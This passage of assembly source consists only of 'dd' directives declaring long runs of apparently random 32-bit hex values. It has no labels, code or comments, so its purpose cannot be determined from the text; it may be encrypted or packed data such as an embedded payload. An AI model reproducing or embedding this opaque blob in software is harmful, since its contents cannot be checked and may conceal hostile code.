8E0F64EBh, 0E0F3F5B2h, 6DADDCE7h dd 317BD7h, 9836DE18h, 7D606681h, 470F000h, 7A432065h dd 2D73052h, 12277348h, 0E79E1600h, 743AC0BFh, 77A3008Bh dd 30E5B69h, 3D00F6F4h, 0BC266744h, 214201h, 6809087Ah dd 516007AAh, 0D1006FECh, 3A1DF830h, 131297Dh, 2DEC6369h dd 0C4E9B789h, 1F3CBAC8h, 48088037h, 0BC406ECFh, 0EC6A4A0Eh dd 9A007B29h, 232F64AEh, 4CDAD8CDh, 0F9005580h, 323AD9EAh dd 560FD4F6h, 600E354Ah, 0E1D10477h, 26980086h, 0BD71CEFFh dd 0BCB85B2Bh, 200F7A00h, 0FE437CF6h, 0DC4100DAh, 621BA13h dd 1C009636h, 0E3771F63h, 7CAE05h, 5C628908h, 0C78C6EE8h dd 0A348CA00h, 0C22EAD01h, 52BE00D8h, 679F5051h, 3C00BBBAh dd 36CDFDDh, 6A1BA1h, 0D437CA0Ah, 92406F12h, 2013CF2h dd 23B6C7C4h, 0E4CC4BABh, 0E9C0048h, 4E8CB4DEh, 0D60E9A7Dh dd 605C2F72h, 87A24FADh, 71FC00D7h, 15484D1h, 0D4A3EAA3h dd 0D8EEE589h, 40D3BF9Eh, 1B664301h, 6FF45464h, 0AEBE004Bh dd 17E6E4Ch, 18004461h, 0D52520DBh, 0E09FCFh, 9C90438Eh dd 0B7F8173Eh, 980E20B0h, 98FA329Bh, 0E39D20h, 0FE141E73h dd 0B2FD1B8Fh, 0E77F2C00h, 9EFF5E2Ah, 70E050h, 0E036750Fh dd 722A8A5h, 144448h, 0E7727F66h, 1B53034h, 81512743h dd 0F1971226h, 0F020F0FCh, 0F43E6BFAh, 92C9032Bh, 88739D2Ch dd 0B0D5A7h, 936FD9ECh, 41563B6h, 0DD670200h, 0FAA70301h dd 946990D5h, 80930B88h, 63D21A80h, 1600B31Eh, 0F5D3FE5Dh dd 238BB3Ah, 11B80172h, 0A44092FBh, 0AB004E04h, 0B246E6Ch dd 3B0EC47Ah, 0EF80A765h, 209F56F0h, 612CC3CAh, 2CD6E6h dd 0EB12F813h, 0F5FDA440h, 0ECAE0Eh, 13F9C4AFh, 0C21F8DF0h dd 0C6E85113h, 5A80B502h, 0A410405Eh, 9CA05C2Ch, 0C01CEAC0h dd 0EBB08A9Ah, 0A3001878h, 21C8F2F0h, 0C64832h, 86AA8904h dd 0FCCCBF75h, 44A76307h, 71D07DE3h, 0FD851C17h, 1E936C24h dd 2CB00A54h, 802D1DF3h, 6A0DCE87h, 0D0072A1Ah, 0CF8BC316h dd 94573280h, 3196030Ch, 1FB0F377h, 0F0D6D3B0h, 41CF94Ch dd 0B4868A51h, 0C8EE6C90h, 0A2E17708h, 0FC6848DCh, 0D8F300FBh dd 290238D6h, 9F3883E0h, 0C0D8B1h, 0DECD827Ch, 38863E37h dd 7B1BFDh, 2C7D59F1h, 0F25E9DF4h, 0B4A69803h, 0CF080161h dd 0E70BB0C0h, 0F85B248Eh, 80EA05A0h, 0D1C0BA55h, 0E067B5h dd 0E29DF22Ch, 6B94C484h, 535A7900h, 364DC18Fh, 630300C3h dd 6E50FD1Ah, 8E004C91h, 115BE483h, 0C2CC8Bh, 0E59E2098h dd 0C6026833h, 0E100F6B0h, 140927ACh, 126072Fh, 0B4B84DDFh dd 4077FD10h, 0EB644A8Bh, 6CD14403h, 0C0BC51DDh, 3E45E056h dd 83802BB7h, 11535779h, 0F80266F4h, 3984C7BEh, 3774E876h dd 0D0FCDBh, 0B70EB84Bh, 96EEA66Eh, 310A8E00h, 0A847AB70h dd 72880757h, 0E0B57ABCh, 77D05A83h, 0F65E6100h, 1C194356h dd 0CA071FD1h, 0BB090E0h, 1496E73Eh, 30D60120h, 8AE31127h dd 0C43C708Dh, 947E4301h, 0DCE2493Eh, 0EED0F870h, 0E9A30093h dd 67989985h, 900BE08h, 0B20B7074h, 18ADE34Dh, 30A4A701h dd 0C7248350h, 520586B7h, 0B08095B1h, 8964FDh, 0B2017CEBh dd 0F2FED996h, 0E2CD6900h, 0E7AE2B5Dh, 0CC78029Ch, 901C03D2h dd 0A7B582E0h, 440C5F0Fh, 77405D33h, 7651787Dh, 5474331Fh dd 45883570h, 0C0903B82h, 0CD0A180Eh, 0DFDD6EC0h, 368E880h dd 8AD25Ah, 0D697149Ch, 925141EDh, 0C3E21909h, 90908087h dd 184A7E99h, 6E5DFC15h, 0CD03D010h, 0EEB76441h, 0A1F5882Fh dd 11EA0089h, 5AC3C239h, 1602DF27h, 0E724A30h, 25DC50C5h dd 0CC10BE26h, 0A4D9078h, 0CE3B04h, 23192B88h, 1478B50h dd 31331B73h, 0E8DD5982h, 98042480h, 0D8050A2Fh, 84AE0280h dd 0E8F00FCh, 0AFD2ABA6h, 0EE0769C5h, 0D851D5EFh, 6DB31750h dd 0AB1B02ADh, 0BBCF90FCh, 30CCE341h, 47EE8DE8h, 1CD9C503h dd 975DB4BDh, 0D413D750h, 6C5600FBh, 405584D8h, 142EE36Fh dd 5C019CBDh, 0BF914F9Eh, 59E080CAh, 0C343CCh, 0E666B7B5h dd 47874B12h, 0A3CE7200h, 0CD56D59Ch, 671007Ch, 999B97B8h dd 39057091h, 5B5EB398h, 373AC200h, 27CA1E35h, 0AC01B4A0h dd 72BC8132h, 4D8F0090h, 0D0952021h, 56651EA6h, 0A492E4h dd 6016C13Ch, 0AA61C2CEh, 0F214310h, 10D19E0h, 8B9BCF46h dd 0C9E2592Fh, 10716112h, 0C66B2DC8h, 50926378h, 4D49BF07h dd 0C450DFA3h, 0EA6BA58h, 0B175F99Fh, 0F7CA7C80h, 4A07BE11h dd 0C63A2C62h, 0D2408319h, 0F280BF3Bh, 7191C1Fh, 0F10555F5h dd 77A1719Eh, 10CB20CFh, 8028F300h, 0BB3FA566h, 53090232h dd 7092E2C8h, 7400C050h, 4D84B359h, 67196Eh, 0C4AEEAE3h dd 9D63CC04h, 0E0048ECh, 4A775256h, 0B07DF712h, 7CD7015Ch dd 5F1BBC1Fh, 0C5F9DDC8h, 56DAFCB0h, 0BB1CBF03h, 0C03572FDh dd 60CFCEh, 80A92A68h, 5E8F0333h, 3BEA283Dh, 84CB01BBh dd 0D55C436Ah, 0FCB7C200h, 9DB58304h, 3741798Dh, 38149592h dd 4F2B3D34h, 2CB8020h, 74840727h, 217CA98Dh, 30E6651Bh dd 2E021024h, 0EE6B3E78h, 15C377CBh, 34EA80CDh, 0EC987622h dd 10066E2h, 9521D9F0h, 0C667F9h, 0AF37BBEFh, 8380E809h dd 8CD44200h, 4C704F27h, 0BFB5005Eh, 33C30B86h, 8500C511h dd 62050991h, 2600D4Fh, 2967EA66h, 15E09212h, 0B0B06FA3h dd 228EA204h, 0D4C0A775h, 0FF3FED4h, 0F3FABB4h, 87E7D2A0h dd 72482A32h, 1D733918h, 755E93D5h, 47AA80FBh, 0C5CB5192h dd 1EF0F2F5h, 0D55E3h, 0F180604Dh, 0E60047F2h, 0FA25EC13h dd 7B131h, 0CBA818A7h, 0BB152CD5h, 0E4FDC498h, 6680B352h dd 0A70216C9h, 639400B5h, 0CBC46AB7h, 31F0E400h, 0CA865593h dd 48FBE8F3h, 9C1F788Ch, 0B127408Ah, 886BE313h, 60CB5600h dd 708F65Ah, 23740016h, 1F1EB458h, 0F20983CCh, 80E5C678h dd 571D2A10h, 49AE0043h, 5F9E6EB2h, 0EB001863h, 5056DE8Ch dd 0AA5DFh, 0CAEEC84h, 8104FFA2h, 31BC5F00h, 0F9E04F6Eh dd 4DDD00F8h, 7A45DB43h dd 0A00204Ch, 0B4F0A23Ch, 3E4BA106h, 778798BDh, 619AB832h dd 0C8D33574h, 0DC002D9Eh, 0E6E7EB2Eh, 0FA995026h, 750600E9h dd 0FCE5DB1Ah, 21E82AC5h, 221F8600h, 0BBB4BA52h, 4A9909B8h dd 0D000D8E3h, 871B58D9h, 927C4F02h, 48962B54h, 3CF417F4h dd 0D882F6B1h, 464ED72Eh, 0D1A9A4C8h, 638B9700h, 516F70C8h dd 959B00DCh, 0B77AA3B6h, 7C008190h, 3B6375D6h, 1F27F1FDh dd 0A839C06Ah, 45E16DCh, 0A01CB0h, 40E95DD4h, 0A4A0C014h dd 0F20084D2h, 5A104A5h, 13E068h, 33DD5B7h, 9880FF24h dd 8C496224h, 0F3C06C1Eh, 0C4199630h, 0AA5033E6h, 10C0CF18h dd 0A00C0614h, 0C02772F2h, 0AAF4003Fh, 0FB76098Ah, 0B80074B1h dd 402FB2F3h, 72A747D0h, 35BA0E7Dh, 0F9C3819Bh, 89B0EB73h dd 3006786h, 17F5ACCEh, 1292D8h, 44DFB29h, 18266094h, 4F0CD701h dd 517BC972h, 3D6AD8h, 0DFA5E2A3h, 82FED243h, 0DA494500h dd 5B56481Bh, 0F331005Fh, 6CD4A337h, 1002A8Dh, 5AE1B114h dd 0AB11D9h, 0D949387h, 34F7488Bh, 7F9EE500h, 171358D5h dd 0EA050054h, 9AECBFFCh, 0DCA8F188h, 0C0B658ABh, 698D3C00h dd 986A2FE2h, 4D8E0030h, 24E6282Ah, 0F6000385h, 19291838h dd 4BF81Fh, 69B0FDFBh, 90BEDFD9h, 0EC83B102h, 81B48EE4h dd 0C460A2DCh, 725EA710h, 9A9B4100h, 0E909B040h, 1D1700AAh dd 0EFBC91D1h, 587793DBh, 0C5BDFC00h, 0AD15F64Dh, 8BED0BCEh dd 1480C0C2h, 86084A58h, 9100BC90h, 37921477h, 11150Ah dd 68D7A6AEh, 59A3F4F3h, 0BBA17E0Eh, 0E33B6061h, 1CDFFD45h dd 0C07130C2h, 2A2C4A6Fh, 1701B724h, 6DEF0B20h, 0EDC995Bh dd 2EF2007Fh, 8EE3F4ADh, 0D100A4F6h, 5CF7F9C1h, 16C087h dd 8BB8293Bh, 91490F55h, 0D93C3Ch, 0E889DDF5h, 77DA4Eh dd 61991045h, 0FDDE705Eh, 74AD9000h, 0BD27EF5Fh, 257256h dd 0E37E6F60h, 0B817DB13h, 80BC2CF8h, 1CF1833Fh, 0D94AF257h dd 0CE207B09h, 0CA7E0315h, 0D7CD3D22h, 983B4100h, 38D05295h dd 5567008Eh, 0A8FE905Fh, 43FAD9E6h, 2F2D091Dh, 48206C0Ch dd 0B61300A3h, 28DEFAE2h, 710059EBh, 450E1AA5h, 4FF5D78Fh dd 7ACC0027h, 6CD876ABh, 2824B5Ch, 0B5DAA3F2h, 12A0721Eh dd 6EDBC8h, 0B6B6192h, 601C6870h, 65476D0Eh, 81FA9E71h dd 5A7CC700h, 7DC1B4h, 0B6FBBD59h, 2615D484h, 9403085Fh dd 91F2A1h, 0B4275E79h, 0B04C61E1h, 38074212h, 553E5800h dd 0C149128h, 93218C81h, 89301631h, 768E4909h, 84051D33h dd 65601E7Eh, 80E34C69h, 0D28B9A50h, 3B0E63h, 314FE8F1h dd 7326049h, 0BE92331Eh, 0EA00211Eh, 28090189h, 0BF2000E3h dd 4C91E5BDh, 3CA03E93h, 945CB7A2h, 0E3C201F1h, 84CDB78h dd 0A01AFCh, 0E89DFB09h, 57B34A60h, 0BC908960h, 5015DF84h dd 508C7C23h, 70C283Fh, 4A962854h, 14FE4F5Dh, 0E400142Ch dd 0D5640E05h, 58006AF4h, 994093E9h, 3F3DE01h, 443F72E1h dd 0EB889B81h, 41004C52h, 0D76DF72Bh, 0E94F43h, 2F441AA9h dd 0ACE8D834h, 0D5493800h, 372356A8h, 0F19600B0h, 860ECBE0h dd 200E7A93h, 232BD62Ch, 0C330BD83h, 0E07EAB59h, 9187988h dd 0CC34E41h, 0E1F88851h, 0A3840201h, 0F678371Dh, 9BC30C81h dd 99289EF5h, 1CC2BE0Ah, 32FA3700h, 0CE41498h, 0AC167E2Dh dd 21C08908h, 0C132B1CCh, 6A1701FCh, 0E4A33384h, 0F041817Fh dd 0CC623824h, 1AED9BFDh, 69C39847h, 78998612h, 1DA8180Eh dd 0B64011E5h, 6FA53D00h, 67931E58h, 0FE08CC48h, 8303A221h dd 557C193Dh, 73D4D881h, 0E09528F2h, 2A24660h, 149432BEh dd 108E3104h, 932B5D0h, 0EF30D4BFh, 0F7E93201h, 0E5419C78h dd 0DE2A8FC7h, 949822C9h, 73A89069h, 6E2403E5h, 400203CCh dd 65293Fh, 0E8C67CBh, 1DEFC27Ah, 0F80F7F2h, 1CC061EDh dd 6DA6AA62h, 257BCC7Dh, 0BB1A50C0h, 1DECC1C8h, 952DD6E1h dd 7C881CF8h, 103C980Ch, 1ED7FCE0h, 1EF8165h, 92B93644h dd 0C8E04B9Fh, 89A6C06Bh, 940051CAh, 147C6F41h, 4468F17h dd 23911658h, 0C00C9B27h, 0CF12339Eh, 6C143F0Bh, 6EAE3A0Eh dd 6B778C81h, 81F2F08Fh, 13E00297h, 0BC700072h, 49C0B8C2h dd 0C3CF3BFFh, 0F98B08Bh, 6C73240Ch, 81218C0Ch, 75628200h dd 1A99AF1Dh, 5D2D007Ch, 1170C95Bh, 3B1F1CF7h, 634961E8h dd 6FD820E6h, 5488A07Ah, 11E472h, 84BE5695h, 8CED3196h dd 750898EDh, 0ADB221h, 81BC2D56h, 0FC0DD747h, 0A2A30807h dd 6A21A958h, 73C0E593h, 0E865E4F0h, 9D3F00AAh, 0FE7FFBFDh dd 643AC88Fh, 0BCB3126Fh, 0E2390C01h, 0F0807D7Bh, 81A4CA67h dd 0E5260F78h, 440164D1h, 7DE9B095h, 0CF1AB850h, 0E3B43325h dd 930FB21h, 0A5BA2152h, 2E370025h, 5A9123F4h, 0DA05D194h dd 6C973858h, 0EF3FB000h, 608893C1h, 0BF4AD962h, 3E0F9808h dd 0E061FEFDh, 0C8AAE6B7h, 0B4731216h, 0E7610040h, 8D3A0F80h dd 3E0999EEh, 1D622DADh, 806B11B4h, 0A94621A6h, 0B98E00B7h dd 0A43E54E4h, 0CCA150FBh, 964FD473h, 4BB05764h, 0BA040249h dd 0FAC80BDh, 0D1838D2Dh, 90523D63h, 8A60F5F1h, 3B64078Fh dd 8482A120h, 32BF30A7h, 0BC14AF11h, 0D1808888h, 65E332B6h dd 0B35A00C2h, 421E4726h, 0F40E409Dh, 60B6A59Fh, 6C906057h dd 88861569h, 7EA40Bh, 27210D05h, 10506DFAh, 9F7B1D74h dd 0BECE7609h, 9F0D0B9h, 1797E19Ah, 60A64004h, 7BF85693h dd 7E448C84h, 56AB004Ch, 7185F5AEh, 1724F8E7h, 69092486h dd 0E99C900Dh, 44200596h, 11B53DCh, 0B2FF80A8h, 0F02031D0h dd 6454E431h, 0B101EB88h, 948A837Fh, 0FAFC792Eh, 0D39800B8h dd 8DF5D4BDh, 971A6FE9h, 3688847h, 841F63ECh, 8CDDA088h dd 0FB569805h, 60284E84h, 775B053h, 2065F1C0h, 8EFBA166h dd 9EE4488Ch, 4A0629CEh, 25BEC86Ah, 0E4FCE861h, 0D8A7886Eh dd 44B9EA00h, 80C751EBh, 556C0057h, 6D2EC840h, 950228BEh dd 4B123853h, 0A1B04020h, 0C93600A2h, 0E5291D08h, 8F0063B7h dd 882DEC14h, 981910F3h, 800AEAF4h, 0BB249F59h, 0C428242Ch dd 0A402B146h, 0C9E3B525h, 6C165331h, 8DF72500h, 9AA9280Fh dd 0AD630019h, 84E1F28Ah, 0F3509C8Fh, 0E8541FC8h, 50000BDCh dd 338A6377h, 0B86DE3BEh, 314A12AFh, 23142F6Ah, 849D017Dh dd 82E66DEFh, 936C3E68h, 8ADC8055h, 984978E7h, 9B100B88h dd 0C818591Fh, 46840D8Bh, 3DB402AAh, 30486FCFh, 0A0800C3Bh dd 773D00A1h, 0ADB95544h, 690BC490h, 20E4FC24h, 609A7154h dd 0FA5C093Dh, 88F1DF70h, 8FE9DD85h, 469B020h, 7B5B85Ah dd 0AA6B5BF5h, 3F70FAA7h, 18E12800h, 0C01FEBB9h, 3B9E0F00h dd 3F073AEDh, 0B0605F9h, 0C08CF8C9h, 1B89BBF8h, 902993Ch dd 0F34BD0C4h, 840269Ch, 69060581h, 2EF1F41Ah, 43008EE9h dd 20C857FBh, 590476BEh, 0B5955F3Ch, 8C80898h, 0A9E3B925h dd 0BD4057C4h, 8E3925A6h, 91967400h, 0E3F4672Eh, 6B860AF8h dd 42CC6603h, 0D8083FFCh, 0B428CC21h, 9202A746h, 0BE84F956h dd 0B1000047h, 68256AAh, 4FD094E1h, 775C25A0h, 0BCA6CE53h dd 87457B09h, 1D04F8DBh, 0C5354E42h, 4007769Bh, 6591C9A0h dd 71240F2Eh, 0BBC008ABh, 0EB6FCE3Dh, 21C0F318h, 0A3DBCA7h dd 8FD609ACh, 88D8E7E8h, 6021E96Fh, 650EEC5h, 0ABDB00C3h dd 471C8BDFh, 554CFC8Eh, 48042208h, 37070851h, 92BF105h dd 5E296881h dd 432848E8h, 8E621200h, 57A9EBADh, 1530245h, 76B8674Bh dd 626A7C61h, 3079F2F8h, 53021330h, 0DBF1E5B1h, 57E0C1CAh dd 0C205875h, 0C0988CB2h, 0C1E3B616h, 1B8D038h, 53A525A3h dd 60C82EE7h, 8A7A30CCh, 1B21C490h, 0C7988DFh, 0BA60A444h dd 6F23C93Dh, 21F118B8h, 3D3FA7A6h, 8DD286BAh, 519EF1Dh dd 95800EC2h, 4D9081C8h, 60A07068h, 0F0885488h, 4F900110h dd 0A8090DA9h, 9F5480F9h, 0A1DDDEA7h, 765B1251h, 0FEDC60BEh dd 1B26876Dh, 0C30C9430h, 0F8575199h, 825D3B1Dh, 4BEB0D80h dd 2BAC9BCEh, 1F3C0904h, 0F4C2EA1Ah, 0E97721BDh, 5B821786h dd 52CC6016h, 57620644h, 0C9E61169h, 38036E02h, 6013C402h dd 24F0EFD4h, 36069DFh, 1A8410E7h, 9EE9180Ah, 1F3BFC23h dd 538B62D4h, 1B6002A5h, 19A211DFh, 250456CCh, 164684h dd 56AF4800h, 15D9CF14h, 0DE62018Fh, 0C3D88E53h, 23C980BEh dd 0B7D31B08h, 757E4B4h, 1098EC99h, 0E0C14C1Fh, 0DE086160h dd 0E06B84C4h, 0F38C05A1h, 0D04E6CB4h, 0B6A77EACh, 773B6498h dd 58345CB0h, 0CEAB0120h, 3E92BF07h, 26F99470h, 4904146Dh dd 0F405400Eh, 8800125h, 7056028Dh, 554C8483h, 33047688h dd 983A246Dh, 0F2882C8Eh, 0E896B7C0h, 40AB648Bh, 38D0A4C3h dd 334AE70Fh, 757C0A0h, 12D610C6h, 945F5EFh, 486D9914h dd 4469A860h, 0E1F00B9h, 0A065BF58h, 935040D6h, 0E4872BE4h dd 0FEA4607Eh, 878048E5h, 9A3A1961h, 87F0F895h, 900CFE8h dd 64B0F34Bh, 696C4C34h, 0FC447133h, 8B3FF90Fh, 0F407176Bh dd 57302629h, 907723h, 861E1867h, 6D7D1517h, 650035F0h dd 338970A1h, 3C9F02A7h, 4C4CE421h, 9901DC23h, 0B684FA56h dd 4E887418h, 45561C91h, 6DFA45D6h, 6F618079h, 9450D3F7h dd 0C0240F3h, 9FB7F32Fh, 797459EDh, 0EC4187Fh, 5F3F2E58h dd 0A43E9580h, 28941F3Bh, 0EE8D4380h, 9D19461h, 679BEAD5h dd 0E5A144E8h, 2B717F02h, 404319EFh, 707C4400h, 76BC961Fh dd 0F9747846h, 3F2F9830h, 4C30FF8Bh, 0CD31A58h, 7DF90491h dd 0A18E218h, 1D51CDEFh, 0AADA096Dh, 0F0C6669Ah, 0C4B97F73h dd 0D31874D1h, 90FEFD76h, 92F3843Eh, 1003C72Ah, 71D7B9Bh dd 0BAD89FB8h, 8A47AF9h, 96800F74h, 4B3B7CC8h, 0DE7304AAh dd 8EE73E62h, 0C3F84DCh, 2DE12130h, 4AC7A201h, 0EBACF78Bh dd 88F5C864h, 2D00A7CAh, 292CE59Dh, 99149Ah, 0E6089E91h dd 715E1610h, 0ED1DDF1Bh, 95A1E031h, 70011CD4h, 0FE8A816Ch dd 297C4BC8h, 0F9060E34h, 683121EDh, 0F43CB312h, 10242E96h dd 19C00C3Fh, 0A53AA271h, 0C900BA7Eh, 42E9C9Ah, 0D60EB51Eh dd 12506E59h, 50880EC7h, 0A95D000Ah, 6A05C26Dh, 380B2AD5h dd 0A16CD7A4h, 8C5C8FD0h, 0F85E7C20h, 18046067h, 0E3ECF72Ah dd 0A21AA8A0h, 0EEE51105h, 10C20D0Eh, 25AA30B3h, 79E3B711h dd 0BF805188h, 0F8AB25D8h, 5231630h, 0A76890FBh, 4E90A88h dd 2F1301C0h, 0E8F011Fh, 0D8571663h, 4B86CF9h, 90ABFF6Eh dd 9C1F30F4h, 852D42A0h, 4C13C8A2h, 9C01B0AEh, 53EB1DD6h dd 57E0C78Ch, 5200951Ah, 0F2098FABh, 1340C833h, 0A0EAC373h dd 6C6094A4h, 0F106E031h, 56611E25h, 8DE9041Ah, 5C3CA0E3h dd 465C609Eh, 548076Eh, 0E8B871Ah, 976F0964h, 80799190h dd 23E75BB4h, 0FB6E0126h, 699AAB7Ch, 97C1810Dh, 32EBFF4Fh dd 25E75C70h, 101740D3h, 98837491h, 0EAD0F39Ch, 8B08CE5h dd 15A38400h, 10E3522Eh, 84C0AA43h, 0B960AD50h, 6F23C83Dh dd 0CC4415B0h, 3DA2A501h, 0F4AD6C07h, 910FAEB7h, 0C568011Ch dd 0D0E895D3h, 4CE78210h, 1A123B0h, 149532F9h, 889C18ACh dd 3200B0D7h, 813E6411h, 53350469h, 55A2D84Ch, 5C3830h dd 0BDC551D7h, 0E56EC30Ch, 9FB12300h, 44DFCDB8h, 4C910BE3h dd 88893089h, 7EE46845h, 4A4E1067h, 209B048h, 0F650E7h dd 88DEA4B8h, 44D006BAh, 0E166C3FCh, 5DA8CD03h, 8C057C2Bh dd 36AE16C0h, 57E7074Ah, 0A58F6Dh, 0D0506B9Ah, 52C5B58h dd 98EA737Bh, 9CE268A2h, 6780D733h, 24A95869h, 0C0BC0250h dd 6B7F8757h, 4DE5D8A0h, 3BCF902h, 4062CFEAh, 480AFF70h dd 4622A815h, 816AE430h, 0E6D75983h, 0EABE0015h, 603966CDh dd 1104D926h, 22C3DCEEh, 8077C8D3h, 133E218Ah, 760DF7Ch dd 4E56C4Ch, 708A0C4h, 3E69A709h, 884024FFh, 0EA9888h dd 6810AD08h, 85A6A203h, 783FEC00h, 4DFB4905h, 0B99D0044h dd 1593B5D2h, 69070C18h, 39D78312h, 488B0FE5h, 2AC23BC8h dd 0F6AA83EFh, 305DA84Dh, 25847A89h, 0EC8642D5h, 0E913313Fh dd 0CD2668Fh, 0F8E04415h, 7C1D389h, 0A66BBE0Dh, 1A13F818h dd 0D44330FFh, 2B86694h, 0E8E55129h, 80FC7387h, 1FA63Ah dd 18175B80h, 631369B0h, 876D791Bh, 0DC8064BAh, 54A2DFAh dd 5A52FF04h, 0B88E39D5h, 43C06A88h, 926C52h, 0D4C1B3B1h dd 8CB2741Dh, 912E1300h, 93AA46FEh, 1C5C594Dh, 8CFC27B8h dd 7B6C5C03h, 3780BE2h, 806A99E8h, 58E0B1ADh, 5F169004h dd 0ACD408FDh, 28FEE081h, 745EA985h, 10F4D753h, 8AB6A5AAh dd 570E8190h, 869AA4BCh, 796BEBh, 883B95C7h, 0BE272C84h dd 730092EEh, 0E3B53894h, 3DC93197h, 0E5AEBFF8h, 3846745Ch dd 2EE17806h, 0CBF428CFh, 7DD83750h, 0E5601250h, 783F802Ch dd 0E885AA96h, 773BB004h, 0F3C40113h, 0D4C14DADh, 0B0B988E7h dd 7C70F600h, 18F2B046h, 0F1B49F3Eh, 6B072496h, 8669BA41h dd 0B97CC909h, 786D1031h, 5177E7ACh, 0D6F60500h, 3DCB8B84h dd 18B32074h, 13C8C00h, 440FBCEAh, 64509C7Ch, 569460A1h dd 0AE8423BFh, 7B7C43Fh, 8F4D56A4h, 3C95C05Bh, 6E1346F8h dd 40416F87h, 7AAFE8E3h, 346D8C40h, 5C6CB65Fh, 3B035546h dd 4A762DDEh, 73F64EC8h, 834BF918h, 123DB8EAh, 0A375FE05h dd 3089E2C4h, 5D007679h, 913C150h, 0F054FB73h, 1A0D1CD4h dd 8F1AE0DFh, 535874BFh, 4F497070h, 690396F8h, 609A932Eh dd 8421050Eh, 80E578E7h, 71E14D30h, 54D1C891h, 703EA918h dd 2F3B818h, 57FF6D84h, 92C48281h, 918C979Fh, 1DE88088h dd 0B66D56h, 0FB820F66h, 5D84ED47h, 0BC70B82Ch, 0E7288A40h dd 0D180E18Fh, 9B73F4B3h, 4C00E1D3h, 0B717AAA6h, 4F5CE4A1h dd 4046E6Bh, 0C3CEB203h, 8A0018BDh, 7E0BF5DFh, 0A0958DEAh dd 0F77F3FCh, 0A5AE0CCFh, 591018Fh, 0E927D900h, 5F25B291h dd 9D790060h, 337E8B31h, 23788C03h, 0EFD6EE09h, 68E4912Dh dd 0D8C86845h, 467003Eh, 21EDD17Eh, 38931289h, 74559878h dd 0F2FF03CCh, 67FA05D3h, 2F1E2125h, 7523408Ch, 545618h dd 0CEA90E24h, 0B9B6E886h, 57D19CB9h, 0B0F4718h, 0A1687ABFh dd 7D8B5CFEh, 8721A022h, 40746BDh, 18149632h, 0D2409DC4h dd 0DB6A32B3h, 3FE40818h, 0B6166939h, 0D819B804h, 7461A27Bh dd 8C7EA10Ch, 7F1B9800h, 0E52DED3Eh, 9F5916EFh, 4074C353h dd 2A9B70E7h, 0A75CB0DDh, 0A93B2270h, 6503B86Ch, 0AD88EAA8h dd 0BCC29540h, 449E8040h, 5A0BD87Eh, 0AE5B3707h, 6CF4BE59h dd 0C8044ACh, 0DE82A512h, 75439500h, 22EDAE66h, 1A5602E6h dd 0B9E73A44h, 0A4266EE0h, 88478F4Bh, 0B471C605h, 0AAE848DFh dd 0B2A91E54h, 0C11B9A21h, 0E330A757h, 0F0F1FC05h, 41941FFDh dd 0F622906Ch, 32009CA6h, 888E9C12h, 3B0A3D1h, 53F84881h dd 4599FB8Bh, 6F288213h dd 578703FFh, 485F4027h, 4432DF81h, 64200B5Ah, 32898E0h dd 6068AA9Fh, 69E68FF8h, 0DB74300h, 50F55B36h, 46840002h dd 0A8285C0Ch, 4A0BEAE8h, 2D6B1A63h, 96D970E8h, 2F954401h dd 3B109C2Fh, 0F461C10Ch, 0AFE43199h, 86F91F7Ch, 446B058Ah dd 24ACA4DCh, 3889D713h, 8059E0C8h, 912913F1h, 0E386B06Dh dd 48F9EF18h, 35C7D070h, 9C017E4Ah, 70A1A8FBh, 89D66220h dd 6A0B3C0Bh, 3014C474h, 3E28B0A4h, 6DF80530h, 660E9918h dd 169E120h, 0FF873104h, 6DEE8384h, 3A9ABC2Ch, 1A0F1102h dd 7EA02194h, 6DF7438h, 69257CBAh, 8F402415h, 2994A4h dd 7BC9BDB2h, 42D78EAh, 83103507h, 505075CAh, 477D5A9h dd 0A7AABC1Fh, 80C4C502h, 765A6C9Ch, 0E501DCB6h, 9547974Fh dd 8A135879h, 96D080E9h, 0B14E4DA4h, 0EC0FE40Ah, 44465Eh dd 7021EE51h, 16B59A4h, 73B258C1h, 30F85BE5h, 0ED7115A8h dd 0C5996125h, 609CC48Ch, 19673696h, 0A055E5D3h, 0BB51891h dd 506FA43Dh, 0A1804CE5h, 0B8773DBEh, 73A803B5h, 8FDD46Dh dd 0E084B0ECh, 63635825h, 4E41A448h, 93A2B066h, 78A39970h dd 8A895F11h, 9C641C16h, 23ACF612h, 74B0AC2Ah, 2B007046h dd 77EEDF76h, 273BF9EAh, 0A5E53F43h, 6D380217h, 0E018EDCCh dd 627E3267h, 0FB9C301h, 0CF2A9EE9h, 10C42F2Bh, 92C071FDh dd 9B5B8EFFh, 65BB570Eh, 34DA216Dh, 0C038E0BFh, 8C74BCh dd 7AD84D6h, 55E439FAh, 47505091h, 738007DFh, 0B09CF7D9h dd 675E298Ah, 1118BEEEh, 0AF19D6E5h, 2F202834h, 0E004009Ch dd 836C2886h, 890FC557h, 2084143Dh, 427EF2F1h, 514D1E74h dd 0A52B0724h, 926D8340h, 0F7C84814h, 4CD0E004h, 0E1FE00F3h dd 0C42BFC58h, 40F9EB50h, 0C806F2C3h, 3ED0B0Ch, 2B4EC9h dd 0F794A9E1h, 0E791C1E2h, 9C4BBF03h, 0BB58C6FFh, 7B4FB0FBh dd 695D0320h, 70452EC8h, 0E40F7100h, 0F4ECF8B8h, 0EEA019BBh dd 8077088Ch, 0B89BB221h, 0FFD358h, 9EE57D6h, 0E702FE35h dd 3D18781Eh, 6FA27BC3h, 0F91D98FBh, 0E881EF3Bh, 9FB3CBC8h dd 97788695h, 7E09E7Fh, 61D41E4Fh, 0D927706Ch, 3B008278h dd 0F5C84174h, 371645B5h, 10208690h, 0EE47D9C3h, 9D209553h dd 37817D51h, 6F8026h, 0D1966DC6h, 7C00AC3Ah, 243105B9h dd 9F192CA2h, 0B408B21Bh, 9DD6219Eh, 3D484005h, 2E25FB66h dd 0EC15EF7Ch, 2D0C5E5h, 0B75E3328h, 90184A4Fh, 819B231Ch dd 275EE488h, 0B9ACA500h, 0E6568262h, 0A4990A0Eh, 85AC6A1Bh dd 419D496Ch, 7927C2F8h, 35A440D2h, 8802C64Ch, 2429C9D3h dd 78E2D9h, 6F59F0A8h, 200300E0h, 0BBCCEE6Dh, 0DD0C1928h dd 59884434h, 0ED78007Ch, 0FBA7ECE6h, 0E0038A7Fh, 88025A60h dd 4D4805BAh, 4272B016h, 0AA9F1A0h, 0EC75440h, 6D7C3872h dd 0D21F5904h, 0A942A21Dh, 4420C7F3h, 3D50FA8h, 69A27F2Ah dd 0A0E0FDCCh, 0D1C0F870h, 9E2EF597h, 11F90622h, 8E11ACDh dd 3821F060h, 1662EEEh, 8077CCCEh, 0FC5870DDh, 330C714Ah dd 79A3828Ch, 0C0A0E9Eh, 470EA052h, 3D61FDCEh, 0E0601348h dd 